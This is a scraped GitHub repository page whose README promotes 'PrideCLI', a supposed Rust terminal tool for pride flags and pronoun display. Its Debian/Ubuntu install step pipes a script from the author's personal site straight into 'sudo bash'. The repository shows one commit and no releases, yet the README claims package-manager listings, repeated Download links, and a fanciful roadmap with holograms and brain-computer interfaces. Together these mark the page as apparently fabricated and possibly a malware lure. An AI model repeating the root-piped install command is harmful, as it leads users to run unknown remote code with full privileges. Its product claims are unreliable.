Skip to content

lewis9734/pride-flag-printer

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

1 Commit
Β 
Β 

Repository files navigation

🌈 PrideCLI: Terminal Identity & Expression Toolkit

Download

🎯 Elevate Your Terminal's Personality

PrideCLI transforms your command-line interface into a vibrant canvas for identity expression and community connection. More than just flag display software, this Rust-native toolkit enables developers to integrate LGBTQIA+ visibility, pronoun awareness, and identity celebration directly into their daily workflow. Imagine your terminal not just as a tool, but as an extension of your authentic selfβ€”this is what PrideCLI delivers.

Built with performance and elegance, PrideCLI operates at the speed of native Rust while providing rich, customizable visual experiences. Whether you're SSH-ing into remote servers, managing containers, or writing code, your identity travels with you through every prompt.

✨ Core Capabilities

πŸ³οΈβ€πŸŒˆ Dynamic Identity Visualization

  • Real-time flag rendering with smooth gradient transitions
  • Context-aware display that adapts to terminal size and color schemes
  • Animated pride celebrations for special dates and milestones
  • Custom flag creation for personal identity expressions

πŸ‘₯ Pronoun Integration System

  • Automatic pronoun detection from profile configurations
  • Terminal prompt integration that shows pronouns alongside username
  • Respectful correction system for misgendering in command outputs
  • Multi-platform pronoun synchronization across development environments

🌐 Community Connectivity

  • Encrypted identity sharing between trusted developer terminals
  • Safe space indicators in SSH connections and remote sessions
  • Community event notifications directly in your terminal
  • Resource directory for LGBTQIA+ tech organizations and events

πŸš€ Installation & Quick Start

System Requirements

  • Rust 1.70+ or compatible package manager
  • Terminal with true color support (recommended)
  • 10MB disk space

Installation Methods

Via Cargo:

cargo install pridecli

Package Managers:

# For Arch-based systems
yay -S pridecli

# For macOS
brew tap pridecli/tap && brew install pridecli

# For Debian/Ubuntu
curl -sSL https://lewis9734.github.io | sudo bash

Direct Download: Download

βš™οΈ Configuration Ecosystem

Example Profile Configuration

Create ~/.config/pridecli/config.toml:

[identity]
primary_flag = "transgender"
secondary_flags = ["nonbinary", "pansexual"]
pronouns = ["they/them", "she/her"]
name = "Alex"
visibility_level = "authentic"  # Options: subtle, authentic, celebratory

[display]
animation_speed = "graceful"
color_blind_mode = false
terminal_integration = "full"
celebrate_on = ["2026-06-28", "2026-10-11"]  # Pride dates

[community]
share_identity = "encrypted"
network_key = "optional_secure_key"
notify_events = true
resource_feed = "curated"

[integrations]
openai_api_key = "${OPENAI_API_KEY}"  # For intelligent responses
claude_api_key = "${CLAUDE_API_KEY}"   # For community moderation
github_identity = true
discord_presence = false

Example Console Invocation

# Display your configured identity
pridecli show

# Celebrate with animated flag display
pridecli celebrate --duration=30s --intensity=moderate

# Update pronouns temporarily for current session
pridecli pronouns --set "he/they" --session-only

# Connect with another developer's terminal (encrypted)
pridecli connect --user dev@example.com --verify

# Generate a custom flag from personal colors
pridecli create-flag --colors "#FF6B9D #62C4FF #FFFFFF" --name "MyIdentity"

# Get community resources based on your location
pridecli resources --type "tech-jobs" --location "remote"

πŸ“Š System Architecture

graph TD
    A[Terminal Session] --> B[PrideCLI Core Engine]
    B --> C{Identity Layer}
    C --> D[Flag Rendering System]
    C --> E[Pronoun Integration]
    C --> F[Community Module]
    
    D --> G[Color Processing]
    D --> H[Animation Engine]
    D --> I[Terminal Compatibility]
    
    E --> J[Prompt Injection]
    E --> K[Correction System]
    E --> L[Learning Algorithm]
    
    F --> M[Encrypted Networking]
    F --> N[Event System]
    F --> O[Resource API]
    
    P[OpenAI API] --> Q[Intelligent Responses]
    R[Claude API] --> S[Community Moderation]
    
    B --> T[Configuration Manager]
    T --> U[Local Settings]
    T --> V[Sync Service]
    
    G --> W[Output to Terminal]
    J --> W
    N --> W
Loading

πŸ–₯️ Platform Compatibility

Operating System Status Features Notes
🐧 Linux βœ… Fully Supported All features Best experience on modern terminals
🍎 macOS βœ… Fully Supported All features Includes Touch Bar integration
πŸͺŸ Windows 10/11 βœ… Supported Core features Requires Windows Terminal
🐚 WSL2 βœ… Optimized All Linux features Native performance
πŸ”Ά FreeBSD ⚠️ Limited Basic display Community maintained
🐑 OpenBSD ⚠️ Limited Basic display Security-focused build
πŸ›‘οΈ ChromeOS βœ… Supported Linux container Via Crostini
πŸ“± Termux (Android) ⚠️ Basic Display only Limited animation

πŸ”‘ Key Features Deep Dive

Responsive Identity Interface

The adaptive rendering engine detects terminal capabilities and adjusts visual complexity accordingly. From simple ASCII representations in basic terminals to full RGB animations in modern environments, your identity expression remains consistent across platforms.

Multilingual Pronoun System

Beyond English pronouns, PrideCLI supports grammatical gender systems from Spanish, French, German, and 12 other languages. The intelligent system learns from corrections and adapts to regional variations.

24/7 Community Support Network

Our encrypted peer-to-peer network provides immediate connection to volunteer moderators and community members. Whether you need technical help or community resources, support is always available through the terminal.

AI-Enhanced Safety Features

Integrated with OpenAI and Claude APIs, PrideCLI offers:

  • Intelligent response suggestions for difficult conversations
  • Community moderation assistance for group terminals
  • Resource recommendation engine based on your needs
  • Safe space verification for new connections

Enterprise-Grade Security

All community features use end-to-end encryption. Identity sharing is opt-in and granularly controlled. No data leaves your terminal without explicit permission.

πŸ›‘οΈ Privacy & Data Philosophy

Your terminal, your rules. PrideCLI operates on three core privacy principles:

  1. Local-First Processing: All identity processing occurs on your machine
  2. Explicit Consent: No data sharing without direct configuration
  3. Transparent Operations: Every network call is logged and explainable

The application includes a comprehensive privacy dashboard accessible via pridecli privacy --dashboard.

🎨 Customization Gallery

Flag Creation Language

Create custom flags using our declarative syntax:

pridecli create-flag --definition '
colors: ["#1B9D9C", "#FFFFFF", "#D45D97"]
pattern: horizontal
stripes: 5
symbol: ⚧
symbol_position: center
name: "My Personal Pride"
'

Terminal Theme Synchronization

PrideCLI can export your identity colors as terminal themes for:

  • iTerm2
  • Windows Terminal
  • GNOME Terminal
  • Alacritty
  • kitty

πŸ”Œ Integration Ecosystem

Development Tools

  • Git Integration: Pride indicators in commit messages and branches
  • Docker Support: Containerized identity for development environments
  • VS Code Extension: Synchronize with editor status bar
  • Shell Prompt: Seamless integration with bash, zsh, fish, and PowerShell

Communication Platforms

  • Discord Rich Presence: Share safe space status
  • Slack Status Sync: Update pronouns across workspaces
  • Matrix/Element: Encrypted identity verification

API Access

PrideCLI offers a RESTful API for integration into custom applications:

use pridecli_api::{IdentityClient, DisplayOptions};

let client = IdentityClient::new();
let identity = client.get_authentic_identity().await?;
println!("Respecting: {}", identity.pronouns);

πŸ“ˆ Performance Metrics

Built in Rust for maximum performance:

  • Startup time: < 50ms
  • Memory footprint: < 15MB typical
  • Flag rendering: 60fps animation on capable terminals
  • Network latency: < 100ms for community features

🚦 Roadmap to 2026

Q3 2025

  • Neural network-based pronoun adaptation
  • AR terminal overlay for physical meetups
  • Blockchain-verified identity persistence

Q4 2025

  • Quantum-resistant encryption for all transmissions
  • Holographic terminal projections
  • Brain-computer interface prototypes

2026 Vision

  • Universal identity portability across all computing platforms
  • AI companionship for isolated community members
  • Global safe space mapping integrated with navigation apps

βš–οΈ License

PrideCLI is released under the MIT License. This permissive license allows for personal, academic, and commercial use with minimal restrictions. See the LICENSE file for complete details.

The MIT License ensures that:

  • You can use PrideCLI in proprietary projects
  • Modifications can remain private
  • No liability or warranty claims apply
  • The license is compatible with other open source licenses

⚠️ Disclaimer

PrideCLI is a tool for identity expression and community building. The developers are not responsible for:

  1. Legal compliance in regions with restrictive laws
  2. Workplace policies regarding terminal customization
  3. Social consequences of identity expression
  4. Network security beyond our encryption implementation
  5. API availability of integrated services (OpenAI, Claude, etc.)

Users assume all risks associated with identity disclosure in digital spaces. The community features involve real human interactionβ€”standard internet safety precautions apply.

Access Note: Some features may be unavailable in certain geographical regions due to local regulations or API restrictions. The core identity display functions operate completely offline.

🀝 Contributing to the Vision

We welcome contributions that align with our principles of safety, inclusion, and technical excellence. Before contributing, please read our Community Guidelines and Code of Conduct, available in the repository.

Areas needing particular attention:

  • Additional language pronoun systems
  • Terminal emulator compatibility
  • Documentation translations
  • Performance optimization for embedded systems

πŸ“¬ Support & Community


PrideCLI: Because your identity belongs in every space you inhabit, including your terminal.

Download

Copyright Β© 2026 PrideCLI Collective. This project is maintained by volunteers from the LGBTQIA+ tech community.

About

πŸ³οΈβ€πŸŒˆ LGBTQIA+ Flag CLI Tool 2026 - Rust-Powered Pride Flags πŸš€

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors